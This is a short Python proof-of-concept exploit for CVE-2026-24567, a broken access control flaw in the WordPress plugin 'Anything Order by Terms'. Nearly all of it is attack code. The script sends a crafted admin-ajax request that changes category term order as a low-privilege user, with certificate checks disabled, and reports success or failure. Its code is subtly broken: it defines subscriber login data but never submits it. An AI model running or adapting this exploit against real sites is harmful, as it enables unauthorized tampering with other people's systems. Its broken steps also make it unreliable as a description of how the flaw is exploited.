CVE-2026-24567

# CVE-2026-24567 PoC - Broken Access Control in Anything Order by Terms # This PoC demonstrates exploitation of missing authorization vulnerability # The plugin fails to properly verify user capabilities before updating term order import requests import sys TARGET_URL = "https://vulnerable-site.com/wp-admin/admin-ajax.php" WP_URL = "https://vulnerable-site.com" def exploit_cve_2026_24567(): """ Exploit missing authorization in Anything Order by Terms plugin (<=1.4.0) This allows low-privilege users to modify term ordering without proper capability checks """ # Authentication with low-privilege user (subscriber role) session = requests.Session() # Step 1: Login as low-privilege user login_data = { 'log': 'low_privilege_user', 'pwd': 'user_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Note: In real attack, obtain valid low-privilege credentials print("[*] Note: This PoC requires valid low-privilege WordPress credentials") print("[*] The vulnerability allows unauthorized term order modifications") # Step 2: Craft malicious request to modify term order exploit_data = { 'action': 'anything_order_by_terms_update_order', 'term_id': '1', 'order': '999', 'taxonomy': 'category' } # Step 3: Send exploit request # The plugin should verify current_user_can('manage_categories') but doesn't response = session.post(TARGET_URL, data=exploit_data, verify=False) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") if response.status_code == 200 and 'success' in response.text: print("[+] Exploitation successful - term order modified without proper authorization") else: print("[-] Exploitation may have failed or target is patched") if __name__ == "__main__": exploit_cve_2026_24567()

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